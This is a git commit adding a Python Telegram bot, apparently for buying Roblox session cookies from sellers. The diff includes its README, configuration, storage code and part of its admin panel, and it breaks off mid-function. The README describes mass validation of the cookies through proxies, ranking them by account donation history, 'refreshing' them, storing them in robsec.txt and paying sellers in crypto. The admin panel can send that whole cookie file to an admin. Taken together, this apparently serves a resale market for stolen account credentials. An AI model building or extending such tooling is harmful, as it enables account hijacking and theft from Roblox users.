Add modular Roblox buyer bot and documentation
This commit is contained in:
@@ -0,0 +1,31 @@
|
||||
# Обязательные поля
|
||||
BOT_TOKEN=
|
||||
ADMIN_ID=
|
||||
CRYPTO_PAY_TOKEN=
|
||||
|
||||
# Бот для логгинга (логи будут в этом боте, можно указать один и тот же бот на главный и логгинга)
|
||||
LOG_BOT_TOKEN=
|
||||
|
||||
# Данные шопа
|
||||
SHOP_NAME=KILL UNONY MOM
|
||||
SHOP_CHANNEL=https://t.me/username
|
||||
BOT_USERNAME=username
|
||||
|
||||
# Директории и файлы
|
||||
DATABASE_DIR=Users
|
||||
COOKIE_FILES_DIR=Cookies
|
||||
BOT_CONFIG_FILE=bot_config.json
|
||||
BOT_STATS_FILE=bot_stats.json
|
||||
PROXIES_FILE=proxies.txt
|
||||
ROBSEC_FILE=robsec.txt
|
||||
|
||||
# Настройки Roblox чекера
|
||||
MAX_RETRIES=5
|
||||
CONCURRENT_CHECKS=50
|
||||
REQUEST_TIMEOUT=10
|
||||
FRESHER_BATCH_SIZE=10
|
||||
|
||||
# Значения по умолчанию
|
||||
BOT_ENABLED_DEFAULT=true
|
||||
SHOP_ENABLED_DEFAULT=true
|
||||
MIN_WITHDRAW_DEFAULT=100.0
|
||||
+199
@@ -0,0 +1,199 @@
|
||||
# ---> VirtualEnv
|
||||
# Virtualenv
|
||||
# http://iamzed.com/2009/05/07/a-primer-on-virtualenv/
|
||||
.Python
|
||||
[Bb]in
|
||||
[Ii]nclude
|
||||
[Ll]ib
|
||||
[Ll]ib64
|
||||
[Ll]ocal
|
||||
[Ss]cripts
|
||||
pyvenv.cfg
|
||||
.venv
|
||||
pip-selfcheck.json
|
||||
|
||||
# ---> Python
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
share/python-wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
MANIFEST
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.nox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*.cover
|
||||
*.py,cover
|
||||
.hypothesis/
|
||||
.pytest_cache/
|
||||
cover/
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
local_settings.py
|
||||
db.sqlite3
|
||||
db.sqlite3-journal
|
||||
|
||||
# Flask stuff:
|
||||
instance/
|
||||
.webassets-cache
|
||||
|
||||
# Scrapy stuff:
|
||||
.scrapy
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
.pybuilder/
|
||||
target/
|
||||
|
||||
# Jupyter Notebook
|
||||
.ipynb_checkpoints
|
||||
|
||||
# IPython
|
||||
profile_default/
|
||||
ipython_config.py
|
||||
|
||||
# pyenv
|
||||
# For a library or package, you might want to ignore these files since the code is
|
||||
# intended to run in multiple environments; otherwise, check them in:
|
||||
# .python-version
|
||||
|
||||
# pipenv
|
||||
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
|
||||
# However, in case of collaboration, if having platform-specific dependencies or dependencies
|
||||
# having no cross-platform support, pipenv may install dependencies that don't work, or not
|
||||
# install all needed dependencies.
|
||||
#Pipfile.lock
|
||||
|
||||
# UV
|
||||
# Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control.
|
||||
# This is especially recommended for binary packages to ensure reproducibility, and is more
|
||||
# commonly ignored for libraries.
|
||||
#uv.lock
|
||||
|
||||
# poetry
|
||||
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
|
||||
# This is especially recommended for binary packages to ensure reproducibility, and is more
|
||||
# commonly ignored for libraries.
|
||||
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
|
||||
#poetry.lock
|
||||
|
||||
# pdm
|
||||
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
|
||||
#pdm.lock
|
||||
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
|
||||
# in version control.
|
||||
# https://pdm.fming.dev/latest/usage/project/#working-with-version-control
|
||||
.pdm.toml
|
||||
.pdm-python
|
||||
.pdm-build/
|
||||
|
||||
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
|
||||
__pypackages__/
|
||||
|
||||
# Celery stuff
|
||||
celerybeat-schedule
|
||||
celerybeat.pid
|
||||
|
||||
# SageMath parsed files
|
||||
*.sage.py
|
||||
|
||||
# Environments
|
||||
.env
|
||||
.venv
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
env.bak/
|
||||
venv.bak/
|
||||
|
||||
# Spyder project settings
|
||||
.spyderproject
|
||||
.spyproject
|
||||
|
||||
# Rope project settings
|
||||
.ropeproject
|
||||
|
||||
# mkdocs documentation
|
||||
/site
|
||||
|
||||
# mypy
|
||||
.mypy_cache/
|
||||
.dmypy.json
|
||||
dmypy.json
|
||||
|
||||
# Pyre type checker
|
||||
.pyre/
|
||||
|
||||
# pytype static type analyzer
|
||||
.pytype/
|
||||
|
||||
# Cython debug symbols
|
||||
cython_debug/
|
||||
|
||||
# PyCharm
|
||||
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
|
||||
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
|
||||
# and can be added to the global gitignore or merged into this file. For a more nuclear
|
||||
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
|
||||
#.idea/
|
||||
|
||||
# Ruff stuff:
|
||||
.ruff_cache/
|
||||
|
||||
# PyPI configuration file
|
||||
.pypirc
|
||||
|
||||
# Local bot runtime data
|
||||
bot.log
|
||||
bot_config.json
|
||||
bot_stats.json
|
||||
proxies.txt
|
||||
robsec.txt
|
||||
Users/
|
||||
filesforcookie/
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Lolz
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
|
||||
associated documentation files (the "Software"), to deal in the Software without restriction, including
|
||||
without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the
|
||||
following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all copies or substantial
|
||||
portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
|
||||
LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
|
||||
EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
|
||||
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
|
||||
USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
@@ -0,0 +1,109 @@
|
||||
# Roblox-Buyer
|
||||
|
||||
Telegram bot for validating Roblox cookies, checking donation history, refreshing payable cookies, and crediting sellers through CryptoBot checks.
|
||||
|
||||
## Features
|
||||
|
||||
- Cookie intake from plain text or `.txt` files.
|
||||
- Concurrent Roblox cookie validation with optional proxies.
|
||||
- Lifetime and yearly donation rate matching.
|
||||
- AVG pricing for large batches of donation cookies.
|
||||
- Cookie refresh before storage and payout.
|
||||
- User balances, withdrawals, referrals, statistics, and bans.
|
||||
- Admin controls for rates, shop/bot toggles, broadcasts, treasury, and user management.
|
||||
|
||||
## Requirements
|
||||
|
||||
- Python 3.10 or newer.
|
||||
- Telegram bot token.
|
||||
- CryptoBot API token for withdrawals and treasury top-ups.
|
||||
- An administrator Telegram user ID.
|
||||
|
||||
Install the runtime dependencies in a virtual environment:
|
||||
|
||||
```powershell
|
||||
python -m venv .venv
|
||||
.\.venv\Scripts\Activate.ps1
|
||||
python -m pip install aiogram aiohttp requests curl-cffi
|
||||
```
|
||||
|
||||
On Linux or macOS, use `source .venv/bin/activate` instead of the PowerShell activation command.
|
||||
|
||||
## Configuration
|
||||
|
||||
Copy [.env.example](.env.example) and set at least:
|
||||
|
||||
```text
|
||||
BOT_TOKEN=your_telegram_bot_token
|
||||
ADMIN_ID=your_telegram_user_id
|
||||
CRYPTO_PAY_TOKEN=your_cryptobot_api_token
|
||||
```
|
||||
|
||||
The application reads environment variables through `config.py`. It does not load `.env` files automatically, so provide the variables through your shell, process manager, container, or another environment loader.
|
||||
|
||||
For PowerShell:
|
||||
|
||||
```powershell
|
||||
$env:BOT_TOKEN = "your_telegram_bot_token"
|
||||
$env:ADMIN_ID = "123456789"
|
||||
$env:CRYPTO_PAY_TOKEN = "your_cryptobot_api_token"
|
||||
python main.py
|
||||
```
|
||||
|
||||
The default local paths are:
|
||||
|
||||
- `Users/` for user records.
|
||||
- `filesforcookie/` for temporary cookie files.
|
||||
- `bot_config.json` for rates, treasury, and feature toggles.
|
||||
- `bot_stats.json` for aggregate statistics.
|
||||
- `proxies.txt` for optional proxy entries.
|
||||
- `robsec.txt` for refreshed cookies retained by the bot.
|
||||
|
||||
These runtime files are ignored by Git. Do not commit bot tokens, CryptoBot tokens, Roblox cookies, user records, or proxy credentials.
|
||||
|
||||
## Running
|
||||
|
||||
Start polling with:
|
||||
|
||||
```powershell
|
||||
python main.py
|
||||
```
|
||||
|
||||
Users can start with `/start`, send cookie text, or upload a `.txt` file. Administrators can open `/admin` to manage the shop.
|
||||
|
||||
## Project Structure
|
||||
|
||||
```text
|
||||
main.py Bot bootstrap and polling
|
||||
config.py Environment settings and defaults
|
||||
db/storage.py Config, stats, and proxy persistence
|
||||
db/users.py User record persistence
|
||||
models/ Typed data models
|
||||
services/roblox.py Roblox validation, donation lookup, refresh
|
||||
services/pricing.py Rate matching and payout calculations
|
||||
services/withdrawals.py CryptoBot checks and treasury invoices
|
||||
services/referrals.py Referral payouts
|
||||
services/admin.py Admin operations
|
||||
handlers/ Telegram commands, callbacks, and FSM flows
|
||||
keyboards/ Inline keyboard builders
|
||||
states/admin.py Admin FSM states
|
||||
utils/ Parsing, logging, and shared helpers
|
||||
```
|
||||
|
||||
## Security Notes
|
||||
|
||||
Roblox cookies are credentials. Treat `robsec.txt`, uploaded files, and the `Users/` directory as sensitive data. Restrict filesystem access, keep backups encrypted, and remove data that is no longer needed.
|
||||
|
||||
The CryptoBot integration currently uses the testnet API endpoints in `services/withdrawals.py`. Review and change those endpoints deliberately before handling production funds.
|
||||
|
||||
## Verification
|
||||
|
||||
Run a syntax check with:
|
||||
|
||||
```powershell
|
||||
python -m compileall -q .
|
||||
```
|
||||
|
||||
## License
|
||||
|
||||
MIT. See [LICENSE](LICENSE).
|
||||
@@ -0,0 +1,75 @@
|
||||
import os
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from pathlib import Path
|
||||
|
||||
from models.config import BotConfig
|
||||
from models.stats import BotStats
|
||||
|
||||
|
||||
BASE_DIR = Path(__file__).resolve().parent
|
||||
|
||||
|
||||
def _resolve_path(value: str, default: str) -> Path:
|
||||
path = Path(os.getenv(value, default))
|
||||
if path.is_absolute():
|
||||
return path
|
||||
return BASE_DIR / path
|
||||
|
||||
|
||||
def _env_int(name: str, default: int) -> int:
|
||||
raw = os.getenv(name)
|
||||
if raw is None or raw == "":
|
||||
return default
|
||||
return int(raw)
|
||||
|
||||
|
||||
def _env_float(name: str, default: float) -> float:
|
||||
raw = os.getenv(name)
|
||||
if raw is None or raw == "":
|
||||
return default
|
||||
return float(raw)
|
||||
|
||||
|
||||
def _env_bool(name: str, default: bool) -> bool:
|
||||
raw = os.getenv(name)
|
||||
if raw is None or raw == "":
|
||||
return default
|
||||
return raw.strip().lower() in {"1", "true", "yes", "on"}
|
||||
|
||||
|
||||
BOT_TOKEN = os.getenv("BOT_TOKEN", "")
|
||||
LOG_BOT_TOKEN = os.getenv("LOG_BOT_TOKEN", "") or None
|
||||
ADMIN_ID = _env_int("ADMIN_ID", 0)
|
||||
CRYPTO_PAY_TOKEN = os.getenv("CRYPTO_PAY_TOKEN", "")
|
||||
SHOP_NAME = os.getenv("SHOP_NAME", "KILL UNONY MOM")
|
||||
SHOP_CHANNEL = os.getenv("SHOP_CHANNEL", "https://t.me/bot399_start_bot")
|
||||
BOT_USERNAME = os.getenv("BOT_USERNAME", "bot399_start_bot")
|
||||
|
||||
DATABASE_DIR = _resolve_path("DATABASE_DIR", "Users")
|
||||
COOKIE_FILES_DIR = _resolve_path("COOKIE_FILES_DIR", "filesforcookie")
|
||||
CONFIG_FILE = _resolve_path("BOT_CONFIG_FILE", "bot_config.json")
|
||||
STATS_FILE = _resolve_path("BOT_STATS_FILE", "bot_stats.json")
|
||||
PROXIES_FILE = _resolve_path("PROXIES_FILE", "proxies.txt")
|
||||
ROBSEC_FILE = _resolve_path("ROBSEC_FILE", "robsec.txt")
|
||||
|
||||
MAX_RETRIES = _env_int("MAX_RETRIES", 5)
|
||||
CONCURRENT_CHECKS = _env_int("CONCURRENT_CHECKS", 50)
|
||||
REQUEST_TIMEOUT = _env_int("REQUEST_TIMEOUT", 10)
|
||||
FRESHER_BATCH_SIZE = _env_int("FRESHER_BATCH_SIZE", 10)
|
||||
|
||||
DATABASE_DIR.mkdir(parents=True, exist_ok=True)
|
||||
COOKIE_FILES_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
FRESHER_POOL = ThreadPoolExecutor(max_workers=64, thread_name_prefix="fresher")
|
||||
|
||||
DEFAULT_CONFIG = BotConfig.default()
|
||||
DEFAULT_STATS = BotStats.default()
|
||||
|
||||
BOT_ENABLED_DEFAULT = _env_bool("BOT_ENABLED_DEFAULT", True)
|
||||
SHOP_ENABLED_DEFAULT = _env_bool("SHOP_ENABLED_DEFAULT", True)
|
||||
MIN_WITHDRAW_DEFAULT = _env_float("MIN_WITHDRAW_DEFAULT", 100.0)
|
||||
|
||||
# Apply deployment defaults before the first config file is created.
|
||||
DEFAULT_CONFIG.bot_enabled = BOT_ENABLED_DEFAULT
|
||||
DEFAULT_CONFIG.shop_enabled = SHOP_ENABLED_DEFAULT
|
||||
DEFAULT_CONFIG.min_withdraw = MIN_WITHDRAW_DEFAULT
|
||||
@@ -0,0 +1,62 @@
|
||||
import json
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
from config import CONFIG_FILE, DEFAULT_CONFIG, DEFAULT_STATS, PROXIES_FILE, STATS_FILE
|
||||
from models.config import BotConfig
|
||||
from models.stats import BotStats
|
||||
|
||||
|
||||
def _load_json(path: Path) -> dict[str, Any] | None:
|
||||
if not path.exists():
|
||||
return None
|
||||
try:
|
||||
with path.open("r", encoding="utf-8") as fh:
|
||||
return json.load(fh)
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def _save_json(path: Path, data: dict[str, Any]) -> None:
|
||||
with path.open("w", encoding="utf-8") as fh:
|
||||
json.dump(data, fh, indent=4, ensure_ascii=False)
|
||||
|
||||
|
||||
def load_config() -> BotConfig:
|
||||
data = _load_json(CONFIG_FILE)
|
||||
if data is None:
|
||||
config = DEFAULT_CONFIG
|
||||
save_config(config)
|
||||
return config
|
||||
defaults = DEFAULT_CONFIG.to_dict()
|
||||
defaults.update(data)
|
||||
default_rates = defaults["rates"]
|
||||
default_rates.update(data.get("rates") or {})
|
||||
defaults["rates"] = default_rates
|
||||
return BotConfig.from_dict(defaults)
|
||||
|
||||
|
||||
def save_config(cfg: BotConfig | dict[str, Any]) -> None:
|
||||
config = cfg if isinstance(cfg, BotConfig) else BotConfig.from_dict(cfg)
|
||||
_save_json(CONFIG_FILE, config.to_dict())
|
||||
|
||||
|
||||
def load_stats() -> BotStats:
|
||||
data = _load_json(STATS_FILE)
|
||||
if data is None:
|
||||
stats = DEFAULT_STATS
|
||||
save_stats(stats)
|
||||
return stats
|
||||
return BotStats.from_dict(data)
|
||||
|
||||
|
||||
def save_stats(stats: BotStats | dict[str, Any]) -> None:
|
||||
model = stats if isinstance(stats, BotStats) else BotStats.from_dict(stats)
|
||||
_save_json(STATS_FILE, model.to_dict())
|
||||
|
||||
|
||||
def load_proxies() -> list[str]:
|
||||
if not PROXIES_FILE.exists():
|
||||
return []
|
||||
with PROXIES_FILE.open("r", encoding="utf-8", errors="ignore") as fh:
|
||||
return [line.strip() for line in fh if line.strip()]
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
import json
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
from config import ADMIN_ID, DATABASE_DIR
|
||||
from db.storage import load_stats, save_stats
|
||||
from models.user import UserProfile
|
||||
|
||||
|
||||
def _user_dir(user_id: int) -> Path:
|
||||
return DATABASE_DIR / str(user_id)
|
||||
|
||||
|
||||
def path(user_id: int) -> Path:
|
||||
return _user_dir(user_id) / "config.json"
|
||||
|
||||
|
||||
def register(user_id: int, username: str | None = None, referrer: int | None = None) -> bool:
|
||||
user_path = path(user_id)
|
||||
is_new = False
|
||||
|
||||
if not user_path.parent.exists():
|
||||
user_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
profile = UserProfile.default(
|
||||
user_id=user_id,
|
||||
username=username,
|
||||
registered=datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
|
||||
referrer=referrer if referrer and referrer != user_id else None,
|
||||
is_admin=(user_id == ADMIN_ID),
|
||||
)
|
||||
save(user_id, profile)
|
||||
is_new = True
|
||||
|
||||
stats = load_stats()
|
||||
stats.total_users += 1
|
||||
save_stats(stats)
|
||||
|
||||
if referrer and referrer != user_id:
|
||||
ref_profile = get(referrer)
|
||||
if ref_profile and user_id not in ref_profile.referrals:
|
||||
ref_profile.referrals.append(user_id)
|
||||
save(referrer, ref_profile)
|
||||
elif username:
|
||||
profile = get(user_id)
|
||||
if profile and profile.username != username:
|
||||
profile.username = username
|
||||
save(user_id, profile)
|
||||
|
||||
return is_new
|
||||
|
||||
|
||||
def get(user_id: int) -> UserProfile | None:
|
||||
user_path = path(user_id)
|
||||
if not user_path.exists():
|
||||
return None
|
||||
with user_path.open("r", encoding="utf-8") as fh:
|
||||
return UserProfile.from_dict(json.load(fh))
|
||||
|
||||
|
||||
def save(user_id: int, data: UserProfile | dict) -> None:
|
||||
profile = data if isinstance(data, UserProfile) else UserProfile.from_dict(data)
|
||||
user_path = path(user_id)
|
||||
user_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
with user_path.open("w", encoding="utf-8") as fh:
|
||||
json.dump(profile.to_dict(), fh, indent=4, ensure_ascii=False)
|
||||
|
||||
|
||||
def all_users() -> list[int]:
|
||||
if not DATABASE_DIR.exists():
|
||||
return []
|
||||
return [int(item.name) for item in DATABASE_DIR.iterdir() if item.is_dir() and item.name.isdigit()]
|
||||
|
||||
|
||||
def find_by_username(username: str) -> int | None:
|
||||
username = username.lstrip("@").lower()
|
||||
for uid in all_users():
|
||||
profile = get(uid)
|
||||
if profile and (profile.username or "").lower() == username:
|
||||
return uid
|
||||
return None
|
||||
@@ -0,0 +1,459 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from aiogram import F, Router
|
||||
from aiogram.filters import Command
|
||||
from aiogram.fsm.context import FSMContext
|
||||
from aiogram.types import (
|
||||
CallbackQuery,
|
||||
FSInputFile,
|
||||
InlineKeyboardButton,
|
||||
InlineKeyboardMarkup,
|
||||
Message,
|
||||
)
|
||||
|
||||
from config import ADMIN_ID, ROBSEC_FILE
|
||||
from db.storage import load_config
|
||||
from db.users import get
|
||||
from keyboards.admin import admin_menu_kb
|
||||
from keyboards.user import back_kb
|
||||
from services.admin import (
|
||||
add_balance,
|
||||
add_treasury,
|
||||
ban_user,
|
||||
broadcast,
|
||||
clear_robsec,
|
||||
find_user,
|
||||
is_admin,
|
||||
robsec_info,
|
||||
sub_balance,
|
||||
toggle_bot,
|
||||
toggle_shop,
|
||||
toggle_user_admin,
|
||||
update_min_withdraw,
|
||||
update_rate,
|
||||
)
|
||||
from services.withdrawals import check_treasury_invoice, create_treasury_invoice
|
||||
from states.admin import Form
|
||||
from runtime import get_bot
|
||||
from utils.logging import safe_edit
|
||||
|
||||
router = Router(name="admin")
|
||||
|
||||
|
||||
def _admin(user_id: int) -> bool:
|
||||
return user_id == ADMIN_ID or is_admin(user_id)
|
||||
|
||||
|
||||
def _user_card(uid: int) -> tuple[str, InlineKeyboardMarkup] | None:
|
||||
profile = get(uid)
|
||||
if not profile:
|
||||
return None
|
||||
text = (
|
||||
"<b>User</b>\n\n"
|
||||
f"ID: <code>{uid}</code>\n"
|
||||
f"Username: @{profile.username or '-'}\n"
|
||||
f"Registered: {profile.registered or '-'}\n"
|
||||
f"Balance: {profile.balance:.2f} RUB\n"
|
||||
f"Total earned: {profile.total_earned:.2f} RUB\n"
|
||||
f"Cookies: {profile.cookies_loaded}\n"
|
||||
f"Referrals: {len(profile.referrals)}\n"
|
||||
f"Admin: {'yes' if profile.is_admin else 'no'}\n"
|
||||
f"Banned: {'yes: ' + profile.ban_reason if profile.is_banned else 'no'}"
|
||||
)
|
||||
keyboard = InlineKeyboardMarkup(
|
||||
inline_keyboard=[
|
||||
[
|
||||
InlineKeyboardButton(text="Add balance", callback_data=f"u_bal_add_{uid}"),
|
||||
InlineKeyboardButton(text="Subtract balance", callback_data=f"u_bal_sub_{uid}"),
|
||||
],
|
||||
[InlineKeyboardButton(
|
||||
text="Unban" if profile.is_banned else "Ban",
|
||||
callback_data=f"u_ban_{uid}",
|
||||
)],
|
||||
[InlineKeyboardButton(
|
||||
text="Remove admin" if profile.is_admin else "Grant admin",
|
||||
callback_data=f"u_admin_{uid}",
|
||||
)],
|
||||
[InlineKeyboardButton(text="Back", callback_data="admin_back")],
|
||||
]
|
||||
)
|
||||
return text, keyboard
|
||||
|
||||
|
||||
@router.message(Command("admin"))
|
||||
async def cmd_admin(message: Message, state: FSMContext):
|
||||
if not _admin(message.from_user.id):
|
||||
return
|
||||
await state.clear()
|
||||
await message.answer("<b>Admin panel</b>", parse_mode="HTML", reply_markup=admin_menu_kb())
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_close")
|
||||
async def admin_close(callback: CallbackQuery, state: FSMContext):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
await state.clear()
|
||||
try:
|
||||
await callback.message.delete()
|
||||
except Exception:
|
||||
pass
|
||||
await callback.answer()
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_back")
|
||||
async def admin_back(callback: CallbackQuery, state: FSMContext):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
await state.clear()
|
||||
await safe_edit(callback, "<b>Admin panel</b>", reply_markup=admin_menu_kb())
|
||||
await callback.answer()
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_toggle_shop")
|
||||
async def admin_toggle_shop(callback: CallbackQuery):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
enabled = toggle_shop()
|
||||
await callback.message.edit_reply_markup(reply_markup=admin_menu_kb())
|
||||
await callback.answer(f"Shop: {'ON' if enabled else 'OFF'}")
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_toggle_bot")
|
||||
async def admin_toggle_bot(callback: CallbackQuery):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
enabled = toggle_bot()
|
||||
await callback.message.edit_reply_markup(reply_markup=admin_menu_kb())
|
||||
await callback.answer(f"Bot: {'ON' if enabled else 'OFF'}")
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_robsec_get")
|
||||
async def admin_robsec_get(callback: CallbackQuery):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
lines, size = robsec_info()
|
||||
if not size:
|
||||
await callback.answer("robsec.txt is empty", show_alert=True)
|
||||
return
|
||||
try:
|
||||
bot = get_bot() or callback.message.bot
|
||||
await bot.send_document(
|
||||
callback.from_user.id,
|
||||
FSInputFile(ROBSEC_FILE),
|
||||
caption=f"robsec.txt\nLines: {lines}\nSize: {size} bytes",
|
||||
)
|
||||
await callback.answer("Sent")
|
||||
except Exception as exc:
|
||||
await callback.answer(f"Error: {exc}", show_alert=True)
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_robsec_clear")
|
||||
async def admin_robsec_clear_prompt(callback: CallbackQuery):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
lines, _ = robsec_info()
|
||||
keyboard = InlineKeyboardMarkup(
|
||||
inline_keyboard=[
|
||||
[InlineKeyboardButton(text="Yes, clear", callback_data="admin_robsec_clear_yes")],
|
||||
[InlineKeyboardButton(text="Cancel", callback_data="admin_back")],
|
||||
]
|
||||
)
|
||||
await safe_edit(callback, f"Clear robsec.txt? Current lines: <b>{lines}</b>", reply_markup=keyboard)
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_robsec_clear_yes")
|
||||
async def admin_robsec_clear_yes(callback: CallbackQuery):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
clear_robsec()
|
||||
await safe_edit(callback, "<b>robsec.txt cleared</b>", reply_markup=admin_menu_kb())
|
||||
await callback.answer("Cleared")
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_rates")
|
||||
async def admin_rates(callback: CallbackQuery):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
cfg = load_config()
|
||||
rows = [
|
||||
[InlineKeyboardButton(text=f"{rate.name}: {rate.price:.2f} RUB", callback_data=f"admin_rate_{key}")]
|
||||
for key, rate in cfg.rates.items()
|
||||
]
|
||||
rows.append([InlineKeyboardButton(text="Back", callback_data="admin_back")])
|
||||
await safe_edit(
|
||||
callback,
|
||||
"<b>Rate management</b>\nSelect a rate:",
|
||||
reply_markup=InlineKeyboardMarkup(inline_keyboard=rows),
|
||||
)
|
||||
await callback.answer()
|
||||
|
||||
|
||||
@router.callback_query(F.data.startswith("admin_rate_"))
|
||||
async def admin_rate_select(callback: CallbackQuery, state: FSMContext):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
key = callback.data.removeprefix("admin_rate_")
|
||||
cfg = load_config()
|
||||
rate = cfg.rates.get(key)
|
||||
if not rate:
|
||||
await callback.answer("Rate not found", show_alert=True)
|
||||
return
|
||||
await state.update_data(rate_key=key)
|
||||
await state.set_state(Form.admin_edit_rate)
|
||||
await safe_edit(
|
||||
callback,
|
||||
f"Rate: <b>{rate.name}</b>\nCurrent price: {rate.price:.2f} RUB\n\nSend a new price:",
|
||||
reply_markup=back_kb("admin_back"),
|
||||
)
|
||||
|
||||
|
||||
@router.message(Form.admin_edit_rate)
|
||||
async def admin_edit_rate_save(message: Message, state: FSMContext):
|
||||
if not _admin(message.from_user.id):
|
||||
return
|
||||
try:
|
||||
price = float((message.text or "").replace(",", "."))
|
||||
if price < 0:
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
await message.answer("Send a non-negative number.")
|
||||
return
|
||||
data = await state.get_data()
|
||||
key = data.get("rate_key")
|
||||
cfg = load_config()
|
||||
if key not in cfg.rates:
|
||||
await state.clear()
|
||||
return
|
||||
update_rate(key, price)
|
||||
await state.clear()
|
||||
await message.answer(f"Rate updated: {cfg.rates[key].name} = {price:.2f} RUB", reply_markup=admin_menu_kb())
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_min_withdraw")
|
||||
async def admin_min_withdraw(callback: CallbackQuery, state: FSMContext):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
await state.set_state(Form.admin_min_withdraw)
|
||||
await safe_edit(
|
||||
callback,
|
||||
f"Current minimum withdrawal: {load_config().min_withdraw:.2f} RUB\nSend a new value:",
|
||||
reply_markup=back_kb("admin_back"),
|
||||
)
|
||||
|
||||
|
||||
@router.message(Form.admin_min_withdraw)
|
||||
async def admin_min_withdraw_save(message: Message, state: FSMContext):
|
||||
if not _admin(message.from_user.id):
|
||||
return
|
||||
try:
|
||||
value = float((message.text or "").replace(",", "."))
|
||||
if value <= 0:
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
await message.answer("Send a positive number.")
|
||||
return
|
||||
update_min_withdraw(value)
|
||||
await state.clear()
|
||||
await message.answer(f"Minimum withdrawal updated to {value:.2f} RUB", reply_markup=admin_menu_kb())
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_treasury")
|
||||
async def admin_treasury(callback: CallbackQuery, state: FSMContext):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
await state.set_state(Form.admin_treasury_amount)
|
||||
await safe_edit(callback, "How much RUB should be added to the treasury?", reply_markup=back_kb("admin_back"))
|
||||
|
||||
|
||||
@router.message(Form.admin_treasury_amount)
|
||||
async def admin_treasury_amount(message: Message, state: FSMContext):
|
||||
if not _admin(message.from_user.id):
|
||||
return
|
||||
try:
|
||||
amount = float((message.text or "").replace(",", "."))
|
||||
if amount <= 0:
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
await message.answer("Send a positive number.")
|
||||
return
|
||||
await state.clear()
|
||||
